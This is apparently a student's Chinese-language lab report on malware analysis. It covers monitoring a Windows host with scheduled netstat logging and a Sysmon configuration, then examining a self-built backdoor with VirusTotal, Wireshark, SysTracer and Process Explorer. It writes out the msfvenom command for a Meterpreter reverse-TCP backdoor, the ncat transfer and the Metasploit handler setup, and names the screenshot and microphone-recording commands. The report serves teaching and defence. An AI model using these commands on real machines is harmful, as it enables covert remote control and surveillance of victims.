Exp4 恶意代码分析

一、实验内容

1、系统运行监控

(1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。
(2)安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。
参考:schtask与sysmon应用指导
实际日志的分析还需要发挥下自己的创造力,结合以前学过的知识如linux的文本处理指令等进行。分析的难点在于从大量数据中理出规律、找出问题。这都依赖对结果过滤、统计、分类等进一步处理,这就得大家会什么用什么了。

2、恶意软件分析

分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件
(1)读取、添加、删除了哪些注册表项
(2)读取、添加、删除了哪些文件
(3)连接了哪些外部IP,传输了什么数据(抓包分析)

 

二、实验过程

1、系统运行监控

(1)使用schtasks指令监控系统

在命令行中输入以下命令,创建任务计划netstat1202

schtasks /create /TN netstat1202 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > d:\netstatlog.txt

创建脚本文件并写入:

date /t >> d:\netstat1217.txt
time /t >> d:\netstat1217.txt
netstat -bn >> d:\netstat1217.txt

在Windows的任务计划程序中,可以查看到新创建的任务:

 编辑任务:

 

 在搜索框输入cmd进行搜索,点击以管理员权限运行,进入到命令窗口后,输入net user administrator /active:yes使用管理员权限运行命令

数据分析:

 

(2)使用sysmon工具监控系统

编写xml文件:

代码:

<Sysmon schemaversion="3.10">
<!-- Capture all hashes -->
<HashAlgorithms>*</HashAlgorithms>
<EventFiltering>
<!-- Log all drivers except if the signature -->
<!-- contains Microsoft or Windows -->
<ProcessCreate onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
</ProcessCreate>

<FileCreateTime onmatch="exclude" >
<Image condition="end with">chrome.exe</Image>
</FileCreateTime>

<NetworkConnect onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<SourcePort condition="is">137</SourcePort>
<SourceIp condition="is">127.0.0.1</SourceIp>
</NetworkConnect>
<NetworkConnect onmatch="include">
<DestinationPort condition="is">80</DestinationPort>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>

<CreateRemoteThread onmatch="include">
<TargetImage condition="end with">explorer.exe</TargetImage>
<TargetImage condition="end with">svchost.exe</TargetImage>
<TargetImage condition="end with">winlogon.exe</TargetImage>
<SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>
</EventFiltering>
</Sysmon>

 输入命令Sysmon64.exe -i sysmon20201202.xml,安装sysmon:

在kali虚拟机上执行代码 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.132 LPORT=1202 -f exe > 20201202_backdoor.exe,生成后门程序

Windows主机在ncat文件夹下执行ncat.exe -lv 1202 > 20201202_backdoor.exe,接收文件。

在kali机中执行nc 192.168.253.1 1202 < 20201202_backdoor.exe,发送文件。注意:此处的ip地址为Windows主机的ip。

输入use exploit/multi/handler进入handler

输入set payload windows/meterpreter/reverse_tcp设置连接(playload)

输入set LHOST 192.168.253.132设置ip地址(Linux地址)

输入set LPORT 1202设置端口号

输入show options再次查看设置是否正确

输入exploit打开监听

 使用事件查看器分析进程

“应用程序和服务日志/Microsoft/Windows/Sysmon/Operational”

 

2、恶意软件分析

(1)使用VirusTotal分析恶意软件

 

(2)使用wireshark分析TCP流量包

运行后门程序,设置过滤规则(只与kali有关)

 在kali中输入dir命令,发现wireshark又捕获到了许多PSH+ACK包,可以判断有数据在传输

 

(3)使用Systracer动态分析

截取快照:

快照1:运行后门程序,保存为Snapshot #1

快照2:在kali中使用dir指令,保存为Snapshot #2

快照3:在kali中使用screenshot和record_mic指令,保存为Snapshot #3

快照4:在kali中使用getuid指令,保存为Snapshot #4

对比分析

1&2

 2&3

3&4

 

(4)使用Process Explorer分析恶意软件

Process Explorer可以监听到电脑上所有正在运行的程序,找到可疑行为,仔细观察是否有后门程序 通过Process Explorer中的Find工具查找使用了cmd的进行,直接定位到后门程序20201202_backdoor.exe

三、实验问题回答

(1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

  • 创建计划任务:使用schtasks,每隔一段时间对主机联网状态的记录,分析是否有可疑程序
  • 监控系统:使用sysmon编写配置文件,在事件查看器中的日志查看有无异常事件
  • 监控流量:使用wireshark抓包进行数据流量分析
  • 监控进程:使用Process Explorer对进程进行监控
  • 监控端口:使用nmap查看是否有异常端口开放
(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
  • 查看程序进程号和开放的端口号。
  • 使用PEiD进行外壳检查。
  • 使用systracer分析,查看其对注册表、dll文件和进程的修改。
  • 使用wireshark进行抓包分析,查看异常流量。

 

四、实验体会

本次实验的重点是借用软件工具具体分析恶意代码,通过对后门文件的多方面分析检测,查看是否主机中有可疑对象和可疑行为,本次实验略有难度,很多软件都是以前没有用过的,对于注册表之类的系统文件也极少接触,通过实践我了解了平时不使用电脑时,电脑都进行了哪些行为,通过联网记录,注册表,文件的变化,可以分析出电脑的异常行为,从而推测自己的电脑是不是背地里被人进行攻击和控制,这对平时主机的使用和保护都有着重大的实际作用。本次实验也让我对自己的电脑也有了更进一步的认识,我们应该增强自己的安全意识,要定期检查电脑,不要过度依赖于杀软。

posted @ 2023-04-03 17:17  20201202史婧怡  阅读(39)  评论(0编辑  收藏  举报